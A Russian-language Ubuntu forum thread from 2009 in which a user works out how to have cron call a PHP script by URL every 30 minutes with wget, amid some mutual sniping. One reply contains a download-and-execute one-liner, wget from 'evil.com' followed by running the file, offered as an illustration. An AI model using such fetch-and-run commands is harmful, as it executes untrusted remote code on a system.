Форум русскоязычного сообщества Ubuntu


Увидели сообщение с непонятной ссылкой, спам, непристойность или оскорбление?
Воспользуйтесь ссылкой «Сообщить модератору» рядом с сообщением!

Автор Тема: CRON fetch  (Прочитано 1971 раз)

0 Пользователей и 1 Гость просматривают эту тему.

Оффлайн b333

  • Автор темы
  • Новичок
  • *
  • Сообщений: 12
    • Просмотр профиля
CRON fetch
« : 19 Августа 2009, 12:58:03 »
Подскажите пожалуйста в чем проблемма, установил cron на серверную Ubuntu 8.04, делаю задачу:
*/30 * * * * /usr/bin/fetch -o /dev/null http://URL/scripts/avatar.php?upload
Но у меня как я понял не стоит fetch мне посоветовали воспользоватся wget-ом, можете примерчик показать как в кроме вгетом выполнить скрипт. Или как скачать и поставить fetch =)

Оффлайн vasilisc

  • Заслуженный пользователь
  • Старожил
  • *
  • Сообщений: 2563
  • г.Северодвинск - строим АПЛ
    • Просмотр профиля
    • Авторские статьи об OpenSource
Re: CRON fetch
« Ответ #1 : 19 Августа 2009, 14:06:12 »
wget качает файлы
что значит ваша фраза "вгетом выполнить скрипт" ?

Оффлайн SlackERus

  • Новичок
  • *
  • Сообщений: 35
    • Просмотр профиля
Re: CRON fetch
« Ответ #2 : 19 Августа 2009, 14:38:54 »
sudo apt-get install fetch - поставит fetch
wget - утилита для скачивания файлов
cron - по расписанию выполняет команды, команду можно протестировать без крона в консоли

/usr/bin/fetch -o /dev/null http://URL/scripts/avatar.php?upload - как мне кажется, этим ты пытаешься скачать чтото и сразу удалить :)

Оффлайн b333

  • Автор темы
  • Новичок
  • *
  • Сообщений: 12
    • Просмотр профиля
Re: CRON fetch
« Ответ #3 : 19 Августа 2009, 14:47:23 »
Ну и пусть качает страничку) мне лиж бы мой скрипт выполнился =) мне бы пример строки крона. Скажите правильный синтаксис?
*/30 * * * * /usr/bin/wget -o /dev/null http://URL/scripts/avatar.php?upload


Пользователь решил продолжить мысль 19 Августа 2009, 14:49:47:
SlackERus
sudo apt-get install fetch - поставит fetch
у меня его нет в репах =) я поставил wget
>>> как мне кажется, этим ты пытаешься скачать чтото и сразу удалить
Мне сохранять файл не нужно =) Мне просто обратиться к скрипту через вэб, чтоб он выполнился.
« Последнее редактирование: 19 Августа 2009, 14:49:47 от b333 »

Оффлайн vasilisc

  • Заслуженный пользователь
  • Старожил
  • *
  • Сообщений: 2563
  • г.Северодвинск - строим АПЛ
    • Просмотр профиля
    • Авторские статьи об OpenSource
Re: CRON fetch
« Ответ #4 : 19 Августа 2009, 14:52:40 »
чую это юный скрипт-киддис интересуется как залить скрипт на сайт
тока всё не так молодой человек  :coolsmiley:
нужно его скачать в директорию вебсервера и вызвать уже залитый скрипт через браузер
а то вы пытаетесь скачать и отправить в /dev/null
wget и curl и fetch не выполняют скаченное!
они ТОЛЬКО скачивают и ВСЕ!

Пользователь решил продолжить мысль 19 Августа 2009, 14:54:57:
или сделать так
wget -o /www/script http://evil.com/script && /www/scriptто есть скачать в такую то папку и выполнить его

на чем написан скрипт?
« Последнее редактирование: 19 Августа 2009, 14:54:57 от Алексеенко Василий »

Оффлайн SlackERus

  • Новичок
  • *
  • Сообщений: 35
    • Просмотр профиля
Re: CRON fetch
« Ответ #5 : 19 Августа 2009, 14:58:12 »
Ну если обратиться к скрипту, то подойдет любой консольный браузер. lynx - возможно
Синтаксис крона указан в самом файле. Ну и google поможет - cron в linux

Оффлайн b333

  • Автор темы
  • Новичок
  • *
  • Сообщений: 12
    • Просмотр профиля
Re: CRON fetch
« Ответ #6 : 19 Августа 2009, 15:33:45 »
>чую это юный скрипт-киддис интересуется как залить скрипт на сайт
Погугли пожалуйста что такое скрипт-кидис прежде чем употреблять ето выражение.
>>а то вы пытаетесь скачать и отправить в /dev/null wget и curl и fetch не выполняют скаченное!
Все верно, сохранять страницу мне не надо, скачивать и выполнять тоже ненадо, вы нифига не поняли из того что я просил, но уже ето не важно.

Разобрался:
*/30 * * * * /usr/bin/wget -o /dev/null http://URL/scripts/avatar.php?upload

Просто я написал скрипт на PHP который собирает с 2х сайтов информацию о погоде, курсу валют, потом рисует ето все дело на картинке, и заливает на вкантакт
вот если вдруг интересно пример аватарки - http://vkontakte.ru/id2702875 для абновления статы просто нужно было обращение к скрипту каждые 30 минут:
http://URL/scripts/avatar.php?upload
« Последнее редактирование: 19 Августа 2009, 16:08:27 от b333 »

Оффлайн vasilisc

  • Заслуженный пользователь
  • Старожил
  • *
  • Сообщений: 2563
  • г.Северодвинск - строим АПЛ
    • Просмотр профиля
    • Авторские статьи об OpenSource
Re: CRON fetch
« Ответ #7 : 19 Августа 2009, 16:12:56 »
пипец! вот пример как НЕ надо оформлять проблему
если сравнить первый пост и что требовалось в конце, то возникает вопрос, как так нужно было умудрится сформулировать вопрос, что ощущение что это разные просьбы

в конце явная просьба, как обратиться в скрипте к странице на php и начало
"фетч, потом просьба показать выполнение скрипта на вегете и как поставить фетч"


Оффлайн alexander.pronin

  • Старожил
  • *
  • Сообщений: 2539
    • Просмотр профиля
Re: CRON fetch
« Ответ #8 : 19 Августа 2009, 16:30:42 »
Это нормальный процесс осознания проблемы.
Вначале туман и какие-то наметки, потом все проясняется постепенно.
Неплохо бы переформулировать проблему после ее осознания.

Оффлайн b333

  • Автор темы
  • Новичок
  • *
  • Сообщений: 12
    • Просмотр профиля
Re: CRON fetch
« Ответ #9 : 20 Августа 2009, 15:48:40 »
Хватит теперь умничать, после того как проблемма разрешилась своими силами. Если прочитать 4й пост то можно понять что мне нужно бфло обратится к url адресу для того чтоб выполнился скрипт по этому адресу, в ответ меня начали называть скрипт-кидисом, хотя автор выражения сам нихрена понятия не имеет что такое скрипт-кидис. Кстати аналогичную тему я создал на antichat.ru там первый ответ мне посоветовали wget и дали пару манов, дальше я уже сам разобрался. Спасибо за внимание.

Оффлайн b333

  • Автор темы
  • Новичок
  • *
  • Сообщений: 12
    • Просмотр профиля
Re: CRON fetch
« Ответ #10 : 29 Августа 2009, 20:51:59 »
Еще вопрос, как запускать каждые 12 часов? Скажите верно делаю или нет:

* 12 * * * * /usr/bin/wget -o /dev/null http://URL/scripts/avatar.php?upload

 

Страница сгенерирована за 0.024 секунд. Запросов: 20.